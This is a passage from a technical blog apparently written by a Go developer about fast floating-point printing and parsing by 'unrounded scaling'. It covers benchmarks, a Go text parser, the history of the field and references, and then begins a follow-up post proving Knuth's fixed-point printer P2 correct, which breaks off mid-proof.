The CDF only plots the middle 99.9% of timings (dropping the 0.05% fastest and slowest), to avoid tails caused by measurement noise. In general, measurements are noisier on the Mac because ARM64 timers only provide ~20ns precision, compared to the x86’s sub-nanosecond precision.

Here are the scatterplots and CDFs for 6-digit output on the two systems:

For short output, various special-case optimizations are possible to avoid bignums, and the scatterplots make clear that all the implementations do that, except for Linux glibc. It surprises me that both libc implementations are so much slower than David Gay’s original dtoa from 1990 (dmg1997). I expected that any new attempt at floating-point printing would at least make sure it was as fast as the canonical reference implementation.

Here are the results for 17-digit output:

In this case, fewer optimizations are available, and libc has a winged scatterplot on both systems. The dblconv library has a fast path that can be taken about 99% of the time, but the scatterplot shows a shadow of a wing for the remaining 1%. The CDFs show the bignum-based implementations clearly: they are slower and have a more gradual slope. We can also read off the CDFs that dmg2017’s table-based fast path handles about 95% of the inputs.

In general, fast fixed-width printing has not seen much optimization attention. Unrounded scaling almost has the field to itself and is significantly faster than the other implementations.

Shortest-Width Performance

For shortest-width printing, I used the same set of random inputs as for fixed-width printing. The implementations are:

dblconv: Loitsch’s double-conversion library, using the ToShortest function. It uses the Grisu3 algorithm [23].
dmg1997: Gay’s 1997 dtoa.c in shortest-output mode.
dmg2017: Gay’s 2017 dtoa.c in shortest-output mode.
dragonbox: Jeon’s dragonbox library, using the jkj::dragonbox::to_chars function. It uses the Dragonbox algorithm [17].
ryu: Adams’s Ryū library, using the d2s_buffered function. It uses the Ryü algorithm [2].
schubfach: A C++ translation of Giulietti’s Java implementation of Schubfach [12].
uscale: The unrounded scaling approach, using the Go code for Short and Fmt in this post.
uscalec: A C translation of the unrounded scaling Go code.

All these implementations are running different code than for fixed-width printing. The C library does not provide shortest-width printing, so there is no libc implementation to compare against.

There is much more competition here. Other than Gay’s 1990 dtoa, everything runs quickly. From the CDFs, we can see that Gay’s 2017 dtoa fast path runs about 85% of the time. The C and Go unrounded scalings run at about the same speed as Ryū but a bit slower than Dragonbox. This turns out to be due mainly to Dragonbox’s digit formatter, not the actual floating-point conversion.

To remove digit formatting from the comparison, I ran a set of benchmarks of just Short (which returns an integer, not a digit string) and equivalent code from Dragonbox, Schubfach, and Ryū. For Dragonbox, I used jkj::dragonbox::to_decimal. For Schubfach and Ryū, I added new entry points that return the integer and exponent instead of formatting them. Schubfach delayed the trimming of zeros until after formatting, so I added a call to the trimZeros used by Short, which is in turn similar to the one used in Dragonbox.

The difference between these plots and the previous ones show that most of Dragonbox’s apparent speed before was in its digit formatter, not in the actual binary-to-decimal conversion. That converter effectively has different straight-line code path for each number length. It’s not surprising that it’s faster, but it’s more code than I’m willing to stomach myself.

The scatterplots show that the Ryū code’s special case for integer inputs helps for a few inputs (at the bottom of the plot) but runs slower than the general case for more inputs (at the top of the plot). On the other hand, the vertical lines of blue points near $2^{500}$ and $2^{700}$ are likely not algorithmic, nor is the vertical line of black points near $2^{100}$ . Both appear to be some kind of bad Apple M4 interaction when accessing a specific table entry. The specific inputs are executed in random order, so a clustering like this is not interference like a single overloaded moment on the machine. For a given built executable, the slow inputs are consistent; as the code and data sections move around when the program is changed, the slow inputs move too. There is also a general phenomenon that if you sample 10,000 points, some of them will run slower than others due to random hardware interactions. All this is to say that the tails of the CDFs for these very quick operations are not entirely trustworthy.

On a more reliable note, the CDFs show that Dragonbox has a fast path is taken about 60% of the time and runs faster than unrounded scaling, but the cost of that check is to make the remaining 40% slower than unrounded scaling. On average, they are about the same, but unrounded scaling is more consistent and less code.

Overall, unrounded scaling runs faster than or at the same speed as the others, especially when focusing on the core conversion. When formatting text, Dragonbox runs faster, but only because of its digit formatting code, not the code we are focusing on in this post.

Parsing Text

Like for printing, to compare against other parsing implementations we need code to handle text, not just the integers passed to Parse. Here is the parser I used. It could be improved to handle arbitrary numbers of leading and trailing zeros, negative numbers, and special values like zero, infinity and NaN, but it is close enough for our purposes. It is essentially a direct translation of the regular expression [0-9]*(\.[0-9]*)?([Ee][+-]?[0-9]*), with checks on the digit counts.

// ParseText parses a decimal string s
// and returns the nearest floating point value.
// It returns 0, false if the input s is malformed.
func ParseText(s []byte) (f float64, ok bool) {
	isDigit := func(c byte) bool { return c-'0' <= 9 }

	// Read digits.
	const maxDigits = 19
	d := uint64(0) // decimal value of digits
	frac := 0      // count of digits after decimal point
	i := 0
	for ; i < len(s) && isDigit(s[i]); i++ {
		d = d*10 + uint64(s[i]) - '0'
	}
	if i > maxDigits {
		return // too many digits
	}
	if i < len(s) && s[i] == '.' {
		i++
		for ; i < len(s) && isDigit(s[i]); i++ {
			d = d*10 + uint64(s[i]) - '0'
			frac++
		}
		if i == 1 || i > maxDigits+1 {
			return // no digits or too many digits
		}
	}
	if i == 0 {
		return // no digits
	}

	// Read exponent.
	p := 0
	if i < len(s) && (s[i] == 'e' || s[i] == 'E') {
		i++
		sign := +1
		if i < len(s) {
			if s[i] == '-' {
				sign = -1
				i++
			} else if s[i] == '+' {
				i++
			}
		}
		if i >= len(s) || len(s)-i > 3 {
			return // missing or too large exponent
		}
		for ; i < len(s) && isDigit(s[i]); i++ {
			p = p*10 + int(s[i]) - '0'
		}
		p *= sign
	}
	if i != len(s) {
		return // junk on end
	}
	return Parse(d, p-frac), true
}

fpfmt/fpfmt.go:140,195

Parsing Performance

Now we can compare Parse to other implementations. I generated 10,000 random inputs, each of which was a random 19-digit sequence with a decimal point after the first digit, along with a random decimal exponent in the range [-300, 300]. (The full float64 decimal exponent range is [-308, 308], but narrowing it avoids generating numbers that underflow to 0 or overflow to infinity.)

The implementations are:

abseil: The Abseil library, using absl::from_chars as of November 2025 (commit 48bf10f142). It uses the Eisel-Lemire algorithm [22].
libc: The C library’s strtod. Linux glibc uses a bignum-based algorithm, while macOS 26 libc uses the Eisel-Lemire algorithm.
dblconv: The double-conversion library’s StringToDouble function. It uses Clinger’s algorithm [6] with simulated floating-point using 64-bit mantissas.
dmg1997: Gay’s 1997 strtod, from dtoa.c in 1997. It uses Clinger’s algorithm with hardware floating-point (float64s).
dmg2017: Gay’s 2017 strtod, from dtoa.c in 2017. It uses Clinger’s algorithm with simulated floating-point using 96-bit mantissas.
fast_float: Lemire’s fast_float library, using the fast_float::from_chars function. Unsurprisingly, it uses the Eisel-Lemire algorithm.
uscale: The unrounded scaling approach, using the Go code for Parse and Unfmt in this post.
uscalec: A C translation of the Go code in this post.

The surprise here is the macOS libc, which is competitive with unrounded scaling and fast_float. It turns out that macOS 26 shipped a new strtod based on the Eisel-Lemire algorithm.

Once again, to isolate the actual conversion from the text processing, I also benchmarked Parse and equivalent code from fast_float.

I don’t understand the notch in the Go uscale on macOS, nor do I understand why the C uscale is faster than fast_float on macOS but only about the same speed on Linux. Since each conversion takes only a few nanoseconds, the answer may be subtle microarchitectural effects that I’m not particularly skilled at chasing down.

Overall, unrounded scaling is faster than—or in one case tied with—the other known algorithms for converting floating-point numbers to and from decimal representations.

The story is told of G. H. Hardy (and of other people) that during a lecture he said “It is obvious. . . Is it obvious?” left the room, and returned fifteen minutes later, saying “Yes, it’s obvious.” I was present once when Rogosinski asked Hardy whether the story were true. Hardy would admit only that he might have said “It’s obvious. . . Is it obvious?” (brief pause) “Yes, it’s obvious.”
— Ralph P. Boas, Jr., Lion Hunting and Other Mathematical Pursuits

If I have seen further, it is by standing on the shoulders of giants.
— Isaac Newton

So I picked up my staff
And I followed the trail
Of his smoke to the mouth of the cave
And I bid him come out
Yea, forsooth, I did shout
“Ye fool dragon, be gone! Or behave!”
— Marsha Norman, The Secret Garden (musical)

People have been studying the problem of floating-point printing and parsing since the late 1940s. The solutions in this post, based on a fast, accurate unrounded scaling primitive, may seem obvious in retrospect, but they were certainly not obvious to me when I started down this trail. Nor were they obvious to the many people who studied this problem before, or we’d already be using these faster, simpler algorithms! As is often the case in computer science, the algorithms in this post connect individual ideas that have been known for decades. This section traces the history of the relevant ideas.

The companion post “Fast Unrounded Scaling: Proof by Ivy” has its own related work section that covers the history of proofs that a table of 128-bit powers of ten is sufficient for accurate results.

The earliest binary/decimal conversions in the literature are probably the ones in Goldstein and Von Neumann’s 1947 Planning and Coding Problems for an Electronic Computing Instrument [13]. They converted one digit at a time by repeated multiplication by 10 and modulo by 1, as did many conversions that followed.

The alternative to repeated multiplication by 10 is multiplication by a single larger power of 10, as we did in this post. Many early systems did that as well. In a 1966 article in CACM, Mancino [24] summarized the state of the art: “Decimal-to-binary and binary-to-decimal floating-point conversion is often performed by using a table of the powers $10^{i}$ ( $i$ a positive integer) for converting from base 10 to base 2, and by using a table of the coefficients of a polynomial approximation of $10^{x}$ $(0 \leq x < 1)$ for converting from base 2 to base 10.” Mancino’s article then showed that the powers-of-10 table could be used for binary-to-decimal as well and also discussed reducing its size.

During the development of IEEE 754 floating-point, Coonen published an implementation guide [7] that defined conversions in both directions using powers of 10 constructed on demand. The powers $10^{p}$ for $1 \leq p \leq 27$ can be computed exactly, and then Coonen suggested storing a table containing $10^{54}$ , $10^{108}$ , and $10^{216}$ , so that any power up to $10^{308}$ can be constructed as the product of at most three multiplications involving at most two inexact values. Coonen computed an approximate $p$ using a different approximation to $log_{2}$ ; if it was off by one, he repeated the process with $p$ incremented or decremented by 1. The result was not exact but was provably within a very small error margin, which became IEEE754’s required conversion accuracy. Coonen’s thesis [9] improved on that error margin by changing the table to contain the exceptionally accurate powers $10^{55}$ , $10^{108}$ , and $10^{206}$ , improved the log approximation, and discussed how to use the floating-point hardware’s rounding modes and inexact flag to reduce the error further. In some ways, unrounded scaling is similar to the hardware Coonen shows in this diagram from Chapter 2:

The main difference is that unrounded scaling uses enough precision to avoid any error at all, that some of the chopped bits are discarded entirely rather than feeding into the inexact flag (the sticky bit), and all the details have to be implemented in software instead of relying on floating-point hardware. In an appendix to his thesis, Coonen also defined bignum-based exact conversion routines written in Pascal. (It would be interesting to translate them to C and add them to the benchmarks above!)

1990 was the annus mirabilis of floating-point formatting. In April, Slishman [29] published table-based algorithms for printing and parsing at fixed precision. The algorithms computed 16 additional bits of precision, falling back to a bignum-based implementation only when those 16 bits were all 1’s. This is analogous to unrounded scaling’s check for whether the middle bits are all 0’s and appears to be the earliest analysis of the effect of error carries on the eventual result. (Slishman used a table of powers rounded down, while unrounded scaling uses a table of powers rounded up, so the overflow conditions are inverted.)

In June at the ACM PLDI conference, Steele and White published “How to Print Floating-Point Numbers Accurately” [30] (and Clinger also published “How to Read Floating Point Numbers Accurately” [6], discussed later). Although the paper is mainly cited for shortest-width formatting, Steele and White do discuss fixed-width formatting briefly. Their algorithms use repeated multiplication by 10 instead of a table.

In November, Gay [11] published important optimizations for both printing and parsing but left the basic algorithms unmodified. Gay also published a portable, freely redistributable C implementation. As noted earlier, that implementation is probably one of the most widely copied software libraries ever.

In a 2004 retrospective [31], Steele and White explained:

During the 1980s, White investigated the question of whether one could use limited-precision arithmetic after all rather than bignums. He had earlier proved by exhaustive testing that just 7 extra bits suffice for correctly printing 36-bit PDP-10 floating-point numbers, if powers of ten used for prescaling are precomputed using bignums and rounded just once. But can one derive, without exhaustive testing, the necessary amount of extra precision solely as a function of the precision and exponent range of a floating-point format? This problem is still open, and appears to be very hard.

In 1991, Paxson [28] identified the necessary algorithms to answer that question, but he put them to use only for deriving difficult test cases, not for identifying the precision needed to avoid bignums entirely. My proof post covers that in detail.

It appears that the first table-based exact conversions without bignums were developed by Kenton Hanson at Apple, who documented them on his personal web site in 1997 [15] after retiring. He summarized:

Once this worst case is determined we have shown how we can guarantee correct conversions using arithmetic that is slightly more than double the precision of the target destinations.

Like Slishman’s work at IBM, Hanson’s work unfortunately went mostly unnoticed by the broader research community.

In 2018, Adams [2] published Ryū, an algorithm for shortest-width formatting that used 128-bit tables. After reading that paper (discussed more in the next section), Remy Oudompheng rewrote Go’s fixed-width printer to adopt a table-based single-multiplication strategy. He originally described it as “a simplified version of [Ryū] for printing floating-point numbers with a fixed number of decimal digits,” but he told me recently that he meant only that the code made use of the Ryū paper’s observation that 128-bit precision is generally sufficient for correct conversion. Because the Ryū paper did not address fixed-width printing nor prove the correction of the conversions in that context, Oudompheng devised a new computational proof based on Stern-Brocot tree traversal. Oudompheng’s printer uses Ryū’s fairly complex rounding implementation and expensive exactness computation based on a “divide by five” loop. I wrote Go’s original floating-point printing routines in 2008 but had not kept up with recent advances. In 2025, I happened to read Oudompheng’s printer and realized that the calculation could be significantly simplified using standard IEEE754 hardware implementation techniques, including keeping a sticky bit during scaling. That was the first step down the path to the general approach of unrounded scaling.

I am not sure where IEEE754’s sticky bit originated. The earliest use of it I have found is in Palmer’s 1977 paper introducing Intel’s standard floating-point [27], but I don’t know whether the sticky bit was new in that hardware design.

The unrounded scaling approach to fixed-width printing can be viewed as the same table-based approach described by Mancino [24] and Coonen [7], but using 128-bit precision to produce exact results, as first noted by Hanson [15] and then by Hack [14] and Adams [2].

Shortest-width printing has a related but distinct history. The idea may have begun with Taranto’s 1959 CACM article [33], which considered the problem of converting a fixed-point decimal fraction into a fixed-point binary fraction of the shortest length to reach a given fixed decimal precision. From that paper, Knuth derived the problem of converting between any two bases with shortest output for a fixed precision, publishing it in 1969 as exercise 4.4–3 in the first edition of The Art of Computer Programming, Volume 2: Seminumerical Algorithms [18]. Knuth included his own solution with a reference to Taranto. Knuth’s exercise was not quite the Shortest-Width Printing problem considered above: first, the exercise is about fixed-point fractions, so it avoids the complexity of skewed footprints; and second, the exercise gave no requirement to round correctly, and the solution did not.

Steele and White adapted Knuth’s exercise and solution as the basis for floating-point printing routines in the mid-to-late 1970s. At the time, they shared a draft paper with Knuth, but the final paper was not published until PLDI 1990 [30]. Their fixed-point printing algorithm (FP)³ is Knuth’s solution to exercise 4.4–3, but updated to round correctly. In the second edition of Seminumerical Algorithms [19], Knuth changed the exercise to specify rounding, made Steele and White’s one-line change to the solution, and cited their unpublished draft. In the third edition in 1997 [20], Knuth was able to cite the published paper. In my post “Pulling a New Proof from Knuth’s Fixed-Point Printer”, the section titled “A Textbook Solution” examines Taranto’s, Knuth’s, and Steele and White’s fixed-point algorithms in detail.

Steele and White’s 1990 paper kicked off a flurry of activity focused mainly on shortest-width printing. Their converters were named Dragon2 and Dragon4 (Dragon1 is never described, and they say they omitted Dragon3 for space), which set a dragon-themed naming pattern continued by the ever-more complex printing algorithms that followed. Gay [11] and Burger and Dybvig [5] found important optimizations for special cases but left the core algorithms the same. In their 2004 retrospective [31], Steele and White described those as the only successor papers of note, but that soon changed.

Loitsch [23] introduced the Grisu2 and Grisu3 algorithms at PLDI 2010. Both use a “do-it-yourself floating-point” or “diy-fp” representation limited to 64-bit mantissas to calculate the minimum and maximum decimals for a given floating point input, like in our shortest-width algorithm. 64 bits is not enough to convert exactly, so Grisu2 rounds the minimum and maximum inward conservatively. As a result, it always finds an accurate answer but may not find the shortest one. Grisu3 repeats that computation rounding outward. If its answer also lies within the conservative Grisu2 bounds, that answer must be shortest. Otherwise, a fallback algorithm must be used instead. Grisu3 avoids the fallback about 99.5% of the time for random inputs. Due to the importance of formatting speed in JavaScript and especially JSON, web browsers and programming languages quickly adopted Grisu3.

Andrysco, Jhala, and Lerner introduced the Errol algorithms at POPL 2016 [4]. They extended Loitsch’s approach by replacing the diy-fps with 106-bit double-double arithmetic [10] [18], which empirically handles 99.9999999% of all inputs. They claim to show empirically that “further precision is useless”, and by careful refinement and analysis identified that their final version Errol3 only failed for 45 float64 inputs (!), which they handled with a special lookup table. I am not sure what went wrong in their analysis that kept them from finding that 128-bit precision would have been completely exact.

Picking up a different thread, Abbott et al. [1] published a report in 1999 about IBM’s addition of IEEE754 floating-point to System/390 and repeated a description of Slishman’s algorithms [29]. After reader feedback, Hack [14] analyzed the error behavior and in 2004 published the first proof that 128-bit precision was sufficient for parsing. Nadhezin [26] adapted the proof to printing and formally verified it in ACL2, and Giulietti [12] used that result to create the Schubfach shortest-width printing algorithm in 2018. (In fact Giulietti and Nadhezin showed that 126-bit tables are sufficient, which is important because Java lacks unsigned 64-bit integers.)

Unrounded scaling’s shortest-width algorithm is adapted from Schubfach, which introduced the critical observation that with the right choice of $p$ , at most one valid decimal can end in zero. Schubfach’s main scaling operation ‘rop’ can be viewed as a special case of unrounded scaling; Giulietti seems to have even invented the unrounded form from first principles (as opposed to adapting IEEE754 implementation techniques as I did). Schubfach’s rop does not make use of the carry bit optimization, which is the main reason it runs slower than unrounded scaling. The Schubfach implementation was adopted by Java’s OpenJDK after being reviewed by Steele.

Apparently independently of Hack, Nadhezin, and Giulietti, Adams [2] also discovered that 126-bit precision sufficed and used that fact to build the Ryū algorithm in 2018. Ryū does not make use of the carry bit optimization; its rounding and exactness computations are more complex than needed; and it finds shortest-width outputs by repeated division by 10 of the scaled minimum and maximum decimals, which adds to the expense. Even so, the improvement over Grisu was clear, and Adams’s paper was more succinct than Giulietti’s. Many languages and browsers adopted Ryū.

In 2020, Jeon [16] proposed a new algorithm Grisu-Exact, applying Ryū’s 128-bit results to Loitsch’s Grisu2 algorithm. The result does remove the fallback, but it is quite complex. In 2024, Jeon [17] proposed Dragonbox, which applied the Grisu-Exact approach to optimizing Schubfach. The result does run faster but once again adds significant complexity. The unrounded scaling approach to shortest-width printing in this post can also be viewed as a 128-bit Grisu2 like Grisu-Exact or as an optimized Schubfach like Dragonbox, but it is simpler than either. The zero-trimming algorithm in this post is adapted from Dragonbox’s.

Parsing has a much shorter history than printing. As noted earlier, Mancino [24] wrote in 1966 that table-based multiplication algorithms were “often” used for decimal-to-binary conversions. Coonen’s 1984 thesis [9] gave a precise error analysis for the kinds of inexact algorithms that were used until Clinger’s 1990 publication of “How to read floating-point numbers correctly” [6]. Clinger’s approach is to pair an inexact IEEE754 extended-precision floating-point calculation (using a float80 with a 64-bit mantissa) to get an answer that is either the correct float64 or adjacent to the correct float64, and then to check it with a single bignum calculation and adjust upward or downward as needed. Gay [11] quickly improved on this by identifying new special cases and removing the dependence on extended precision (replacing float80s with float64s).

As noted already, Slishman [29] published in 1990 a table-based parser with carry-bit-based fallback to bignums, and then Hack [14] proved in 2004 that 128-bit precision was sufficient to remove the bignum fallback during parsing. While that report inspired Giulietti’s development of the Schubfach printer and Nadhezin’s proof, it does not seem to been used in any actual floating-point parsers besides IBM’s.

In 2020, based on a suggestion and initial code by Eisel, and apparently completely independent of Slishman and Hack, Lemire implemented a fast floating-point parser using a 128-bit table [21] [22] [32]. The Eisel-Lemire algorithm is essentially Slishman’s except with 64 extra bits of precision instead of 16. Lemire used a fallback just as Slishman did, unsure that it was unreachable with 128-bit precision. Mushtak and Lemire [25] published their analog to Hack’s proof a couple years later, allowing the fallback to be removed.

The unrounded scaling approach to parsing is analogous to the approach pioneered by Slishman, Hack, Eisel, Lemire, and Mushtak, just framed more generally and with the carry bit optimization.

Fast Unrounded Scaling

Fast unrounded scaling can be viewed as a combination, generalization, simplification, and optimization of these critical earlier works:

In 1990, Slishman [29] used the table-based algorithms for fixed-width printing and parsing, with carry bit fallback check, but without enough precision to be completely exact.
In 2004, Hack [14] improved Slishman’s algorithm by observing that 128-bit precision allowed removing the fallback. It is unclear why Hack considered only parsing and did not generalize to printing.
In 2010, Loitsch [23] used a table-based algorithm for shortest-width printing but, echoing Slishman, without enough precision to be completely exact. Loitsch used a new approach to check for exactness and trigger a fallback.
In 2018, Giulietti [12] used a table-based algorithm for shortest-width printing with enough precision to be exact, along with the critical observation about finding formats ending in zero. The only arguable shortcoming was not using the carry bit optimization to halve the cost of the scaling multiplication.
Also in 2018, Adams [2] used a different table-based algorithm for shortest-width printing and popularized the fact that 128 bits was enough precision to be exact.
In 2020, Eisel and Lemire [22] rederived a 128-bit form of Slishman’s algorithm. Then in 2023, Mushtak and Lemire [25] proved that the fallback was unreachable using methods similar to Hack’s.

Even though all the necessary pieces are in those papers waiting to be connected, it appears that no one did until now.

As mentioned earlier, I derived the unrounded scaling fixed-width printer as an optimized version of Oudompheng’s Ryū-inspired table-driven algorithm. While writing up that algorithm with a new lattice-reduction-based proof of correctness, I re-read Loitsch’s paper and realized that for shortest-width printing, unrounded scaling enabled replacing Grisu’s approximate calculations of the decimal bounds with exact calculations, eliminating the fallback entirely. Continuing to read related papers, I read Giulietti’s Schubfach paper for the first time and was surprised to find how much of the approach Giulietti had anticipated, including apparently reinventing the IEEE754 extra bits. When I read Lemire’s paper, I was even more surprised to find the carry bit fallback check; the carry bit analysis had played an important role in my proof of unrounded scaling, and this was the first similar analysis I had encountered. (At that point I had not found Slishman’s paper.) That’s when I realized unrounded scaling also applied to parsing. I knew from my proof that Lemire didn’t need the fallback. When I went looking for the code that implemented it in Lemire’s library, I found instead a mention of Mushtak and Lemire’s followup proof. I discovered the other references later.

My contribution here is primarily a synthesis of all this prior work into a single unified framework with a simple explanation and relatively straightforward code. Thanks to all the authors of this critical earlier work, whose shoulders I am grateful to be standing on.

Conclusion

Floating-point printing and parsing of reasonably sized decimals can be done very quickly with very little code. At long last, the dragons have been vanquished.

References

P. H. Abbott et al., “Architecture and software support in IBM S/390 Parallel Enterprise Servers for IEEE Floating-Point arithmetic”, IBM Journal of Research and Development 43(6), September 1999. ↩
Ulf Adams, “Ryū: Fast Float-to-String Conversion”, Proceedings of ACM PLDI 2018. ↩ ↩ ↩ ↩ ↩ ↩
Ulf Adams, “Ryū Revisited: Printf Floating Point Conversion”, Proceedings of ACM OOPSLA 2019. ↩ ↩
Marc Andrysco, Ranjit Jhala, Sorin Lerner, “Printing Floating-Point Numbers: An Always Correct Method”, Proceedings of ACM POPL 2016. ↩ ↩
Robert G. Burger and R. Kent Dybvig, “Printing Floating-Point Numbers Quickly and Accurately”, Procedings of ACM PPLDI 1996. ↩
William D. Clinger, “How to Read Floating Point Numbers Accurately”, ACM SIGPLAN Notices 25(6), June 1990 (PLDI 1990). ↩ ↩ ↩
Jerome T. Coonen, “https://www.computer.org/csdl/magazine/co/1980/01/01653344/13rRUxbCbof”, Computer, 13, January 1980. Reprinted as Chapter 2 of [9]. ↩ ↩
Jerome T. Coonen, “Underflow and the Denormalized Numbers”, Computer 14, March 1981. ↩
Jerome T. Coonen, “Contributions to a Proposed Standard for Binary Floating-Point Arithmetic”, University of California, Berkeley Ph.D. thesis, 1984. ↩ ↩ ↩
T. J. Dekker, “A Floating-Point Technique for Extending the Available Precision”, Numerische Mathematik 18(3), June 1971. ↩
David M. Gay, “Correctly Rounded Binary-Decimal and Decimal-Binary Conversions”, AT&T Bell Laboratories Technical Report, 1990. ↩ ↩ ↩ ↩
Raffaello Giulietti, “The Schubfach way to render doubles”, published online, 2018, revised 2021. ↩ ↩ ↩ ↩
Herman H. Goldstein and John von Neumann, Planning and Coding Problems for an Electronic Computing Instrument, Institute for Advanced Study Report, 1947. ↩
Michel Hack, “On Intermediate Precision Required for Correctly-Rounding Decimal-to-Binary Floating-Point Conversion”, IBM Technical Paper, May 2004. ↩ ↩ ↩ ↩
Kenton Hanson, “Economical Correctly Rounded Binary Decimal Conversions”, published online 1997. ↩ ↩
Junekey Jeon, “Grisu-Exact: A Fast and Exact Floating-Point Printing Algorithm”, published online, 2020. ↩
Junekey Jeon, “Dragonbox: A New Floating-Point Binary-to-Decimal Conversion Algorithm”, published online, 2024. ↩ ↩ ↩
Donald E. Knuth, The Art of Computer Programming, Volume 2: Seminumerical Algorithms, first edition, Addison-Wesley, 1969. ↩ ↩
Donald E. Knuth, The Art of Computer Programming, Volume 2: Seminumerical Algorithms, second edition, Addison-Wesley, 1981. ↩
Donald E. Knuth, The Art of Computer Programming, Volume 2: Seminumerical Algorithms, third edition, Addison-Wesley, 1997. ↩
Daniel Lemire, “Fast float parsing in practice”, published online, March 2020. ↩
Daniel Lemire, “Number Parsing at a Gigabyte per Second”, Software: Practice and Experience 51 (8), 2021. ↩ ↩ ↩ ↩
Florian Loitsch, “Printing Floating-Point Numbers Quickly and Accurately with Integers”, ACM SIGPLAN Notices 45(6), June 2010 (PLDI 2010). ↩ ↩ ↩ ↩
O. G. Mancino, “Multiple Precision Floating-Point Conversion from Decimal-to-Binary and Vice Versa”, Communications of the ACM 9(5), May 1966. ↩ ↩ ↩
Noble Mushtak and Daniel Lemire, “Fast Number Parsing Without Fallback”, Software—Pratice and Experience, 2023. ↩ ↩
Dmitry Nadhezin, nadezhin/verify-todec GitHub repository, published online, 2018. ↩
John F. Palmer, “The Intel Standard for Floating-Point Arithmetic”, Proceedings of COMPSAC 1977. ↩
Vern Paxson, “A Program for Testing IEEE Decimal-Binary Conversion”, class paper 1991. ↩
Gordon Slishman, “Fast and Perfectly Rounding Decimal/Hexadecimal Conversions”, IBM Research Report, April 1990. ↩ ↩ ↩ ↩
Guy L. Steele and Jon L. White, “How to Print Floating-Point Numbers Accurately”, ACM SIGPLAN Notices 25(6), June 1990 (PLDI 1990). ↩ ↩ ↩
Guy L. Steele and Jon L. White, “How to Print Floating-Point Numbers Accurately (Retrospective)”, ACM SIGPLAN Notices 39(4), April 2004 (Best of PLDI, 1979-1999). ↩ ↩
Nigel Tao, “The Eisel-Lemire ParseNumberF64 Algorithm”, published online, October 2020. ↩
Donald Taranto, “Binary Conversion, With Fixed Decimal Precision, Of a Decimal Fraction”, Communications of the ACM 2(7), July 1959. ↩
Henry S. Warren, Jr., Hacker’s Delight, 2nd ed., Addison-Wesley, 2012. ↩

Pulling a New Proof from Knuth’s Fixed-Point Printer

2026-01-10T09:00:00-05:00

Introduction

Donald Knuth wrote his 1989 paper “A Simple Program Whose Proof Isn’t” as part of a tribute to Edsger Dijkstra on the occasion of Dijkstra’s 60th birthday. Today’s post is a reply to Knuth’s paper on the occasion of Knuth’s 88th birthday.

In his paper, Knuth posed the problem of converting 16-bit fixed-point binary fractions to decimal fractions, aiming for the shortest decimal that converts back to the original 16-bit binary fraction. Knuth gives a program named P2 that leaves digits in the array d and a digit count in k:

P2:
j := 0; s := 10 * n + 5; t := 10;
repeat if t > 65536 then s := s + 32768 − (t div 2);
j := j + 1; d[j] = s div 65536;
s := 10 * (s mod 65536); t := 10 * t;
until s ≤ t;
k := j.

Knuth’s goal was to prove P2 correct without exhaustive testing, and he did, but he didn’t consider the proof ‘simple’. (Since there are only a small finite number of inputs, Knuth notes that this problem is a counterexample to Djikstra’s remark that “testing can reveal the presence of errors but not their absence.” Exhaustive testing would technically prove the program correct, but Knuth wants a proof that reveals why it works.)

At the end of the paper, Knuth wrote, “So. Is there a better program, or a better proof, or a better way to solve the problem?” This post presents what is, in my opinion, a better proof of the correctness of P2. It starts with a simpler program with a trivial direct proof of correctness. Then it transforms that simpler program into P2, step by step, proving the correctness of each transformation. The post then considers a few other ways to solve the problem, including one from a textbook that Knuth probably had within easy reach. Finally, it concludes with some reflections on the role of language in shaping our programs and proofs.

Problem Statement

Let’s start with a precise definition of the problem. The input is a fraction $f$ of the form $n /2^{16}$ for some integer $n \in [0, 2^{16})$ . We want to convert $f$ to the shortest accurate correctly rounded decimal form.

By ‘correctly rounded’ we mean that the decimal is $d = ⌊ f \cdot 10^{p} + ½ ⌋ / 10^{p}$ —that is, $d$ is $f$ rounded to $p$ digits—for some $p$ .
By ‘accurate’ we mean that the decimal rounds back exactly: $⌊ d \cdot 2^{16} + ½ ⌋ / 2^{16} = f$ .
By ‘shortest’ we mean that any shorter correctly rounded decimal $⌊ f \cdot 10^{q} + ½ ⌋ / 10^{q}$ for $q < p$ is not accurate.

(For this problem, Knuth assumes “round half up” behavior, as opposed to IEEE 754 “round half to even”, and the rounding equations reflect this. The answer does not change significantly if we use IEEE rounding instead.)

Notation

Next, let’s define some convenient notation. As usual we will write the fractional part of $x$ as ${x}$ and rounding as $[x] = ⌊ x + ½ ⌋$ . We will also define ${x}_{p}$ , ${⌊ x ⌋}_{p}$ , ${⌈ x ⌉}_{p}$ , and ${[x]}_{p}$ to be the fractional part, floor, ceiling, and rounding of $x$ relative to decimal fractions with $p$ digits:

\begin{matrix} {x}_{p} & = & {x \cdot 10^{p}} / 10^{p} \\ {⌊ x ⌋}_{p} & = & ⌊ x \cdot 10^{p} ⌋ / 10^{p} \\ {⌈ x ⌉}_{p} & = & ⌈ x \cdot 10^{p} ⌉ / 10^{p} \\ {[x]}_{p} & = & [x \cdot 10^{p}] / 10^{p} \end{matrix}

Using the new notation, the correctly rounded $p$ -digit decimal for $f$ is ${[f]}_{p}$ .

Following Knuth’s paper, this post also uses the notation $[x . . y]$ for the interval from $x$ to $y$ , including $x$ and $y$ ; $[x . . y)$ is the half-open interval, which excludes $y$ .

Initial Solution

The definitions of ‘accurate’ and ‘correctly rounded’ imply two simple observations, which we will prove as lemmas. (In my attempt to avoid accusations of imprecision, I may well be too pedantic. Skip the proof of any lemma you think is obviously true.)

Accuracy Lemma. The accurate decimals are those in the accuracy interval $[f - 2^{- 17} . . f + 2^{- 17})$ .

Proof. This follows immediately from the definition of accurate.

\begin{matrix} ⌊ d \cdot 2^{16} + ½ ⌋ / 2^{16} & = & f & [definition of accurate] \\ ⌊ d \cdot 2^{16} + ½ ⌋ & = & f \cdot 2^{16} & [multiply by 2^{16}] \\ d \cdot 2^{16} + ½ & \in & f \cdot 2^{16} + [0 . . 1) & [domain of floor; f \cdot 2^{16} is an integer] \\ d \cdot 2^{16} & \in & f \cdot 2^{16} + [- ½ . . ½) & [subtract ½] \\ d & \in & f + [- 2^{- 17} . . 2^{- 17}) & [divide by 2^{16}] \end{matrix}

We have shown that $d$ being accurate is equivalent to $d \in f + [- 2^{- 17} . . 2^{- 17}) = [f - 2^{- 17} . . f + 2^{- 17})$ .

Five-Digit Lemma. The correctly rounded 5-digit decimal $d = {[f]}_{5}$ sits inside the accuracy interval.

Proof. Intuitively, the accuracy interval has width $2^{- 16}$ while 5-digit decimals occur at the narrower spacing $10^{- 5}$ , so at least one such decimal appears inside each accuracy interval.

More precisely,

